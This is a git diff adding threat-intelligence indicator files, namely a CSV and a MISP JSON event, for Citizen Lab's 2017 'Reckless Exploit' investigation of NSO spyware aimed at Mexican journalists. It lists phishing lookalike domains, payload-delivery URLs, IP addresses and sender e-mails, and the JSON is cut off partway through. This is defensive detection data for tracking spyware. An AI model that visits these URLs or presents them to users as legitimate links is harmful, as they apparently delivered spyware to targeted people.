Watchlist + Network activity: 89.32.40.238 (MISP Attribute #16056) + + + + + 89.32.40.238 + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: 80.255.12.237 (MISP Attribute #16057) + Malware Artifacts + IP Watchlist + Network activity: 80.255.12.237 (MISP Attribute #16057) + + + + + 80.255.12.237 + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: g.mail2017@yandex.com (MISP Attribute #16058) + Malware Artifacts + Malicious E-mail + Payload delivery: g.mail2017@yandex.com (MISP Attribute #16058) + + + + + + + g.mail2017@yandex.com + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: annaablony@mail.com (MISP Attribute #16059) + Malware Artifacts + Malicious E-mail + Payload delivery: annaablony@mail.com (MISP Attribute #16059) + + + + + + + annaablony@mail.com + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: myprimaryreger@gmail.com (MISP Attribute #16060) + Malware Artifacts + Malicious E-mail + Payload delivery: myprimaryreger@gmail.com (MISP Attribute #16060) + + + + + + + myprimaryreger@gmail.com + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + + + + + citizenlab + + + + + ../../../descendant-or-self::node() + + + + + + + + + diff --git a/data/ioc/spyware/citizen_lab/201706_RecklessExploit/iocs.csv b/data/ioc/spyware/citizen_lab/201706_RecklessExploit/iocs.csv new file mode 100644 index 0000000..cf6a8df --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201706_RecklessExploit/iocs.csv @@ -0,0 +1,126 @@ +uuid,event_id,category,type,value,comment,to_ids,date +595140b9-6d24-4529-b5cb-06b28e96ca05,104,Network activity,domain,"iusacell-movil.com.mx","",1,20170626 +595140b9-7ac8-4ae1-84ac-06b28e96ca05,104,Network activity,domain,"smscentro.com","",1,20170626 +595140b9-7ed4-48c2-ad5b-06b28e96ca05,104,Network activity,domain,"twiitter.com.mx","",1,20170626 +595140b9-8bf0-466f-a633-06b28e96ca05,104,Network activity,domain,"secure-access10.mx","",1,20170626 +595140b9-a2cc-4642-be72-06b28e96ca05,104,Network activity,domain,"ideas-telcel.com.mx","",1,20170626 +595140b9-bf04-4011-a222-06b28e96ca05,104,Network activity,domain,"smsmensaje.mx","",1,20170626 +595140b9-d344-4943-8ee8-06b28e96ca05,104,Network activity,domain,"unonoticias.net","",1,20170626 +595140b9-ea38-4167-af75-06b28e96ca05,104,Network activity,domain,"mymensaje-sms.com","",1,20170626 +595140b9-fdf8-4877-ae89-06b28e96ca05,104,Network activity,domain,"fb-accounts.com","",1,20170626 +595140b9-fee0-42c2-abc9-06b28e96ca05,104,Network activity,domain,"network190.com","",1,20170626 +595141ad-0754-4b53-a851-06b38e96ca05,104,Payload delivery,url,"http://bit.ly/1MAAWrO","",1,20170626 +595141ad-10ec-4896-8197-06b38e96ca05,104,Payload delivery,url,"http://bit.ly/1JW0JFQ","",1,20170626 +595141ad-1198-4ef7-89ab-06b38e96ca05,104,Payload delivery,url,"http://bit.ly/1Nz2RZe","",1,20170626 +595141ad-136c-40a3-bf90-06b38e96ca05,104,Payload delivery,url,"http://bit.ly/1U0yzVG","",1,20170626 +595141ad-17e0-4953-ae3e-06b38e96ca05,104,Payload delivery,url,"http://bit.ly/1twXSDl","",1,20170626 +595141ad-1a9c-4657-9043-06b38e96ca05,104,Payload delivery,url,"http://bit.ly/1EQYOkG","",1,20170626 +595141ad-1ce8-4723-a8a7-06b38e96ca05,104,Payload delivery,url,"http://bit.ly/1KufGUy","",1,20170626 +595141ad-2514-421a-86f7-06b38e96ca05,104,Payload delivery,url,"http://bit.ly/1Nr0Vpb","",1,20170626 +595141ad-2608-4458-8a3a-06b38e96ca05,104,Payload delivery,url,"http://bit.ly/1hMG15k","",1,20170626 +595141ad-3fc4-49a7-a84a-06b38e96ca05,104,Payload delivery,url,"http://bit.ly/1TTjm6D","",1,20170626 +595141ad-48bc-4d2b-a43d-06b38e96ca05,104,Payload delivery,url,"http://bit.ly/1QbgONr","",1,20170626 +595141ad-4c4c-484b-b316-06b38e96ca05,104,Payload delivery,url,"http://bit.ly/1QYVJU9","",1,20170626 +595141ad-4d6c-4191-96dd-06b38e96ca05,104,Payload delivery,url,"http://bit.ly/1WzrZ8T","",1,20170626 +595141ad-5060-4c84-b0e5-06b38e96ca05,104,Payload delivery,url,"http://bit.ly/1X9kJRJ","",1,20170626 +595141ad-5dac-47dc-81f3-06b38e96ca05,104,Payload delivery,url,"http://bit.ly/1LLY8oK","",1,20170626 +595141ad-752c-4355-a7ca-06b38e96ca05,104,Payload delivery,url,"http://bit.ly/1MAzTZ7","",1,20170626 +595141ad-77b0-4fc8-9cb0-06b38e96ca05,104,Payload delivery,url,"http://bit.ly/1JDkjuX","",1,20170626 +595141ad-7858-4579-a385-06b38e96ca05,104,Payload delivery,url,"http://bit.ly/1NlM0ME","",1,20170626 +595141ad-93c0-4169-828c-06b38e96ca05,104,Payload delivery,url,"http://bit.ly/1NzkyeZ","",1,20170626 +595141ad-9750-4b3f-822b-06b38e96ca05,104,Payload delivery,url,"http://bit.ly/1O77vPb","",1,20170626 +595141ad-d470-4103-b354-06b38e96ca05,104,Payload delivery,url,"http://bit.ly/1JzfmW1","",1,20170626 +595141ad-e0e8-4d3d-a2f5-06b38e96ca05,104,Payload delivery,url,"http://bit.ly/1Wzryvp","",1,20170626 +595141ad-e484-4c67-bb23-06b38e96ca05,104,Payload delivery,url,"http://bit.ly/1LLYT15","",1,20170626 +595141ad-e780-479f-af9e-06b38e96ca05,104,Payload delivery,url,"http://bit.ly/1SU5N7q","",1,20170626 +595141ad-fca8-4841-b6e5-06b38e96ca05,104,Payload delivery,url,"http://bit.ly/1KDekJ9","",1,20170626 +595141ad-fe1c-4872-a3fd-06b38e96ca05,104,Payload delivery,url,"http://bit.ly/1s2eguc","",1,20170626 +595141ae-0cb8-4da3-9788-06b38e96ca05,104,Payload delivery,url,"http://smsmensaje.mx/1656017s/","",1,20170626 +595141ae-0dbc-485c-9516-06b38e96ca05,104,Payload delivery,url,"http://smsmensaje.mx/5957475s/","",1,20170626 +595141ae-191c-4dad-a8df-06b38e96ca05,104,Payload delivery,url,"https://network190.com/8361397s/","",1,20170626 +595141ae-1af0-4d3a-be93-06b38e96ca05,104,Payload delivery,url,"http://smsmensaje.mx/9371877s/","",1,20170626 +595141ae-215c-4101-bdc5-06b38e96ca05,104,Payload delivery,url,"http://bit.ly/235giae","",1,20170626 +595141ae-21ac-41b9-956c-06b38e96ca05,104,Payload delivery,url,"https://smsmensaje.mx/2683786s/","",1,20170626 +595141ae-24ec-488e-b0e8-06b38e96ca05,104,Payload delivery,url,"http://smsmensaje.mx/1239663s/","",1,20170626 +595141ae-2bf8-4f1d-8ed0-06b38e96ca05,104,Payload delivery,url,"https://smsmensaje.mx/4667624s/","",1,20170626 +595141ae-2e38-4e91-a008-06b38e96ca05,104,Payload delivery,url,"http://bit.ly/292heXd","",1,20170626 +595141ae-3e2c-443b-ad7b-06b38e96ca05,104,Payload delivery,url,"http://mymensaje-sms.com/6649365s/","",1,20170626 +595141ae-4054-47ba-b479-06b38e96ca05,104,Payload delivery,url,"https://smsmensaje.mx/4878494s/","",1,20170626 +595141ae-420c-4615-b723-06b38e96ca05,104,Payload delivery,url,"https://unonoticias.net/1419678s/","",1,20170626 +595141ae-4944-4ad9-a7af-06b38e96ca05,104,Payload delivery,url,"http://ideas-telcel.com.mx/7757294s","",1,20170626 +595141ae-4aa8-4962-986c-06b38e96ca05,104,Payload delivery,url,"http://smsmensaje.mx/[unavailable]","",1,20170626 +595141ae-4be8-45c9-b2dc-06b38e96ca05,104,Payload delivery,url,"http://bit.ly/29eWzzv","",1,20170626 +595141ae-4dc4-4d20-9726-06b38e96ca05,104,Payload delivery,url,"http://smsmensaje.mx/3376811s/","",1,20170626 +595141ae-5650-454d-b04a-06b38e96ca05,104,Payload delivery,url,"https://smsmensaje.mx/7831163s/","",1,20170626 +595141ae-593c-49e2-b5e2-06b38e96ca05,104,Payload delivery,url,"http://smsmensaje.mx/1331744s/","",1,20170626 +595141ae-6aa4-4e7f-a9b3-06b38e96ca05,104,Payload delivery,url,"http://smsmensaje.mx/9439115s/","",1,20170626 +595141ae-6b6c-4675-b743-06b38e96ca05,104,Payload delivery,url,"https://smsmensaje.mx/4494681s/","",1,20170626 +595141ae-6cec-4bb8-b0ec-06b38e96ca05,104,Payload delivery,url,"https://smsmensaje.mx/5840625s/","",1,20170626 +595141ae-7040-450e-97c7-06b38e96ca05,104,Payload delivery,url,"http://smsmensaje.mx/9093723s/","",1,20170626 +595141ae-738c-4135-aa6c-06b38e96ca05,104,Payload delivery,url,"https://ideas-telcel.com.mx/5706662s","",1,20170626 +595141ae-74b0-4be5-be10-06b38e96ca05,104,Payload delivery,url,"https://network190.com/2066781s/","",1,20170626 +595141ae-7660-4301-91cd-06b38e96ca05,104,Payload delivery,url,"http://bit.ly/246doke","",1,20170626 +595141ae-7874-44b6-8638-06b38e96ca05,104,Payload delivery,url,"http://bit.ly/246dkRy","",1,20170626 +595141ae-82a0-4fed-acdc-06b38e96ca05,104,Payload delivery,url,"https://network190.com/6214010s/","",1,20170626 +595141ae-8354-4c49-b7a1-06b38e96ca05,104,Payload delivery,url,"http://bit.ly/1z2NQdh","",1,20170626 +595141ae-83d4-45e0-960e-06b38e96ca05,104,Payload delivery,url,"http://bit.ly/29eWFqz","",1,20170626 +595141ae-8ca4-46f9-8c33-06b38e96ca05,104,Payload delivery,url,"http://bit.ly/2a0hZ2l","",1,20170626 +595141ae-8e00-41c6-825e-06b38e96ca05,104,Payload delivery,url,"http://bit.ly/1Xxf32k","",1,20170626 +595141ae-909c-4d8d-948a-06b38e96ca05,104,Payload delivery,url,"https://fb-accounts.com/2408931s","",1,20170626 +595141ae-929c-4c73-b5ae-06b38e96ca05,104,Payload delivery,url,"http://smsmensaje.mx/9936510s/","",1,20170626 +595141ae-9418-41e9-aecc-06b38e96ca05,104,Payload delivery,url,"https://smsmensaje.mx/8643330s/","",1,20170626 +595141ae-a298-4139-a48b-06b38e96ca05,104,Payload delivery,url,"https://unonoticias.net/1214510s/","",1,20170626 +595141ae-a384-43c4-ae80-06b38e96ca05,104,Payload delivery,url,"http://fb-accounts.com/2069487s/","",1,20170626 +595141ae-b058-4eb5-bb7b-06b38e96ca05,104,Payload delivery,url,"http://bit.ly/29lQvyh","",1,20170626 +595141ae-b0cc-46ad-8fda-06b38e96ca05,104,Payload delivery,url,"https://secure-access10.mx/7161504s/","",1,20170626 +595141ae-b384-4fc8-9951-06b38e96ca05,104,Payload delivery,url,"http://smsmensaje.mx/3990495s/","",1,20170626 +595141ae-b48c-4a93-9163-06b38e96ca05,104,Payload delivery,url,"http://ideas-telcel.com.mx/1930327s","",1,20170626 +595141ae-b69c-4aaf-a217-06b38e96ca05,104,Payload delivery,url,"http://smsmensaje.mx/6881768s/","",1,20170626 +595141ae-b9e0-4327-aa26-06b38e96ca05,104,Payload delivery,url,"http://smscentro.com/9480260s/","",1,20170626 +595141ae-c494-4b9b-9676-06b38e96ca05,104,Payload delivery,url,"http://bit.ly/20Y9r10","",1,20170626 +595141ae-c9ec-4d6b-aeb1-06b38e96ca05,104,Payload delivery,url,"http://bit.ly/1XFaS4F","",1,20170626 +595141ae-cbe0-4757-a1a6-06b38e96ca05,104,Payload delivery,url,"https://secure-access10.mx/4257391s/","",1,20170626 +595141ae-d08c-48ca-bd09-06b38e96ca05,104,Payload delivery,url,"https://smsmensaje.mx/5478753s/","",1,20170626 +595141ae-d118-4cfe-a0a4-06b38e96ca05,104,Payload delivery,url,"http://bit.ly/29LfZfD","",1,20170626 +595141ae-d21c-4e4e-94b8-06b38e96ca05,104,Payload delivery,url,"http://ideas-telcel.com.mx/2110126s/","",1,20170626 +595141ae-da5c-42a8-aea5-06b38e96ca05,104,Payload delivery,url,"https://smsmensaje.mx/5732641s/","",1,20170626 +595141ae-e008-472d-9d03-06b38e96ca05,104,Payload delivery,url,"http://smsmensaje.mx/6445761s/","",1,20170626 +595141ae-e034-48d6-83cf-06b38e96ca05,104,Payload delivery,url,"http://smsmensaje.mx/1493024s/","",1,20170626 +595141ae-e150-4ab5-93d5-06b38e96ca05,104,Payload delivery,url,"http://smsmensaje.mx/1911343s/","",1,20170626 +595141ae-e8f4-4c6b-9571-06b38e96ca05,104,Payload delivery,url,"http://bit.ly/295RmfH","",1,20170626 +595141ae-ea14-4684-adb1-06b38e96ca05,104,Payload delivery,url,"http://iusacell-movil.com.mx/7918310s/","",1,20170626 +595141ae-eba4-4d12-bc80-06b38e96ca05,104,Payload delivery,url,"https://secure-access10.mx/2618844s/","",1,20170626 +595141ae-efbc-487e-ae1a-06b38e96ca05,104,Payload delivery,url,"http://fb-accounts.com/1074139s/","",1,20170626 +595141ae-f220-4bee-9df4-06b38e96ca05,104,Payload delivery,url,"http://iusacell-movil.com.mx/8595070s/","",1,20170626 +595141ae-f250-4615-b9cd-06b38e96ca05,104,Payload delivery,url,"http://bit.ly/295RNq7","",1,20170626 +595141ae-f278-41ad-9e79-06b38e96ca05,104,Payload delivery,url,"http://bit.ly/25nmH1O","",1,20170626 +595141ae-f498-4f27-bb20-06b38e96ca05,104,Payload delivery,url,"https://smsmensaje.mx/7893029s/","",1,20170626 +595141ae-f4f4-4f6d-9dbe-06b38e96ca05,104,Payload delivery,url,"http://smsmensaje.mx/6056487s/","",1,20170626 +595141ae-fa1c-4757-8946-06b38e96ca05,104,Payload delivery,url,"https://smsmensaje.mx/8435662s/","",1,20170626 +595141ae-fba4-4030-9c61-06b38e96ca05,104,Payload delivery,url,"https://ideas-telcel.com.mx/3975827s","",1,20170626 +595141af-109c-49c0-a621-06b38e96ca05,104,Payload delivery,url,"https://unonoticias.net/3651023s/","",1,20170626 +595141af-1650-4b7a-a3f3-06b38e96ca05,104,Payload delivery,url,"http://unonoticias.net/9250302s/","",1,20170626 +595141af-1c0c-40a8-9059-06b38e96ca05,104,Payload delivery,url,"https://unonoticias.net/5723329s/","",1,20170626 +595141af-2dac-4f74-9717-06b38e96ca05,104,Payload delivery,url,"http://unonoticias.net/9804185s/","",1,20170626 +595141af-2e50-4760-826b-06b38e96ca05,104,Payload delivery,url,"https://unonoticias.net/8592764s/","",1,20170626 +595141af-3c6c-4adf-b195-06b38e96ca05,104,Payload delivery,url,"https://unonoticias.net/5027740s/","",1,20170626 +595141af-4e28-43e0-abb7-06b38e96ca05,104,Payload delivery,url,"https://unonoticias.net/6843502s/","",1,20170626 +595141af-4ed0-493c-abb8-06b38e96ca05,104,Payload delivery,url,"http://unonoticias.net/5819525s/","",1,20170626 +595141af-545c-45eb-8055-06b38e96ca05,104,Payload delivery,url,"https://unonoticias.net/6809853s/","",1,20170626 +595141af-64c8-4783-8cfc-06b38e96ca05,104,Payload delivery,url,"https://unonoticias.net/8439927s/","",1,20170626 +595141af-6b7c-430b-ac54-06b38e96ca05,104,Payload delivery,url,"http://unonoticias.net/3423768s/","",1,20170626 +595141af-73d4-45d1-aecd-06b38e96ca05,104,Payload delivery,url,"http://twiitter.com.mx/2857663s/","",1,20170626 +595141af-75cc-4c7e-8e0a-06b38e96ca05,104,Payload delivery,url,"https://unonoticias.net/1867745s/","",1,20170626 +595141af-8adc-48ba-b585-06b38e96ca05,104,Payload delivery,url,"http://unonoticias.net/1214510s/","",1,20170626 +595141af-8d70-4703-8aab-06b38e96ca05,104,Payload delivery,url,"http://unonoticias.net/6218095s/","",1,20170626 +595141af-8e20-4a46-bf32-06b38e96ca05,104,Payload delivery,url,"https://unonoticias.net/4709973s/","",1,20170626 +595141af-a2c8-4f54-af98-06b38e96ca05,104,Payload delivery,url,"https://unonoticias.net/4392216s/","",1,20170626 +595141af-ae9c-46b6-bd19-06b38e96ca05,104,Payload delivery,url,"https://unonoticias.net/5851721s/","",1,20170626 +595141af-af04-42cd-8891-06b38e96ca05,104,Payload delivery,url,"https://unonoticias.net/7564969s/","",1,20170626 +595141af-b5e0-4b6e-a4ea-06b38e96ca05,104,Payload delivery,url,"https://unonoticias.net/7972736s/","",1,20170626 +595141af-d7c4-4ec4-b292-06b38e96ca05,104,Payload delivery,url,"https://unonoticias.net/9436744s/","",1,20170626 +595141af-dbd4-4aff-9733-06b38e96ca05,104,Payload delivery,url,"https://unonoticias.net/2046803s/","",1,20170626 +595141af-e238-48f1-8fdf-06b38e96ca05,104,Payload delivery,url,"https://unonoticias.net/6532946s/","",1,20170626 +595141af-e3dc-4232-b605-06b38e96ca05,104,Payload delivery,url,"http://tinyurl.com/j7luz86","",1,20170626 +595141af-f744-4f14-825e-06b38e96ca05,104,Payload delivery,url,"http://tinyurl.com/o2tq8rl","",1,20170626 +595141af-fc1c-407c-a526-06b38e96ca05,104,Payload delivery,url,"https://unonoticias.net/8167459s/","",1,20170626 diff --git a/data/ioc/spyware/citizen_lab/201706_RecklessExploit/misp.json b/data/ioc/spyware/citizen_lab/201706_RecklessExploit/misp.json new file mode 100644 index 0000000..ca00b65 --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201706_RecklessExploit/misp.json @@ -0,0 +1,2679 @@ +{"response":[{ + "Event": { + "id": "104", + "orgc_id": "2", + "org_id": "2", + "date": "2017-06-26", + "threat_level_id": "1", + "info": "Reckless Exploit: Mexican Journalists, Lawyers, and a Child Targeted with NSO Spyware", + "published": true, + "uuid": "59513ebe-4144-4e2d-8670-06b38e96ca05", + "attribute_count": "126", + "analysis": "2", + "timestamp": "1498497838", + "distribution": "1", + "proposal_email_lock": false, + "locked": false, + "publish_timestamp": "1498498222", + "sharing_group_id": "0", + "Org": { + "id": "2", + "name": "citizenlab", + "uuid": "581b5fea-818c-441a-bd1d-49798e96ca05" + }, + "Orgc": { + "id": "2", + "name": "citizenlab", + "uuid": "581b5fea-818c-441a-bd1d-49798e96ca05" + }, + "Attribute": [ + { + "id": "16322", + "type": "url", + "category": "External analysis", + "to_ids": false, + "uuid": "5951432e-a3f8-4510-b5ba-06b28e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497838", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "https:\/\/citizenlab.org\/2017\/06\/reckless-exploit-mexico-nso\/", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16155", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "595140b9-a2cc-4642-be72-06b28e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497209", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "ideas-telcel.com.mx", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ], + "RelatedAttribute": [ + { + "Attribute": { + "id": "10", + "org_id": "2", + "info": "The Million Dollar Dissident: NSO Group\u2019s iPhone Zero-Days used against a UAE Human Rights Defender", + "value": "ideas-telcel.com.mx" + } + } + ] + }, + { + "id": "16156", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "595140b9-6d24-4529-b5cb-06b28e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497209", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "iusacell-movil.com.mx", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ], + "RelatedAttribute": [ + { + "Attribute": { + "id": "10", + "org_id": "2", + "info": "The Million Dollar Dissident: NSO Group\u2019s iPhone Zero-Days used against a UAE Human Rights Defender", + "value": "iusacell-movil.com.mx" + } + } + ] + }, + { + "id": "16157", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "595140b9-ea38-4167-af75-06b28e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497209", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mymensaje-sms.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16158", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "595140b9-fee0-42c2-abc9-06b28e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497209", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "network190.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16159", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "595140b9-8bf0-466f-a633-06b28e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497209", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "secure-access10.mx", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16160", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "595140b9-7ac8-4ae1-84ac-06b28e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497209", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "smscentro.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16161", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "595140b9-bf04-4011-a222-06b28e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497209", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "smsmensaje.mx", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16162", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "595140b9-7ed4-48c2-ad5b-06b28e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497209", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "twiitter.com.mx", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16163", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "595140b9-d344-4943-8ee8-06b28e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497209", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "unonoticias.net", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ], + "RelatedAttribute": [ + { + "Attribute": { + "id": "10", + "org_id": "2", + "info": "The Million Dollar Dissident: NSO Group\u2019s iPhone Zero-Days used against a UAE Human Rights Defender", + "value": "unonoticias.net" + } + } + ] + }, + { + "id": "16164", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "595140b9-fdf8-4877-ae89-06b28e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497209", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "fb-accounts.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ], + "RelatedAttribute": [ + { + "Attribute": { + "id": "10", + "org_id": "2", + "info": "The Million Dollar Dissident: NSO Group\u2019s iPhone Zero-Days used against a UAE Human Rights Defender", + "value": "fb-accounts.com" + } + } + ] + }, + { + "id": "16207", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ad-1a9c-4657-9043-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497453", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/bit.ly\/1EQYOkG", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16208", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ad-2608-4458-8a3a-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497453", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/bit.ly\/1hMG15k", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16209", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ad-77b0-4fc8-9cb0-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497453", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/bit.ly\/1JDkjuX", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16210", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ad-10ec-4896-8197-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497453", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/bit.ly\/1JW0JFQ", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16211", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ad-d470-4103-b354-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497453", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/bit.ly\/1JzfmW1", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16212", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ad-fca8-4841-b6e5-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497453", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/bit.ly\/1KDekJ9", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16213", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ad-1ce8-4723-a8a7-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497453", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/bit.ly\/1KufGUy", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16214", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ad-5dac-47dc-81f3-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497453", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/bit.ly\/1LLY8oK", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16215", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ad-e484-4c67-bb23-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497453", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/bit.ly\/1LLYT15", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16216", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ad-0754-4b53-a851-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497453", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/bit.ly\/1MAAWrO", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16217", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ad-752c-4355-a7ca-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497453", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/bit.ly\/1MAzTZ7", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16218", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ad-7858-4579-a385-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497453", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/bit.ly\/1NlM0ME", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16219", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ad-2514-421a-86f7-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497453", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/bit.ly\/1Nr0Vpb", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16220", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ad-1198-4ef7-89ab-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497453", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/bit.ly\/1Nz2RZe", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16221", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ad-93c0-4169-828c-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497453", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/bit.ly\/1NzkyeZ", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16222", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ad-9750-4b3f-822b-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497453", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/bit.ly\/1O77vPb", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16223", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ad-48bc-4d2b-a43d-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497453", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/bit.ly\/1QbgONr", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16224", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ad-4c4c-484b-b316-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497453", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/bit.ly\/1QYVJU9", + "SharingGroup": [ + + ], + 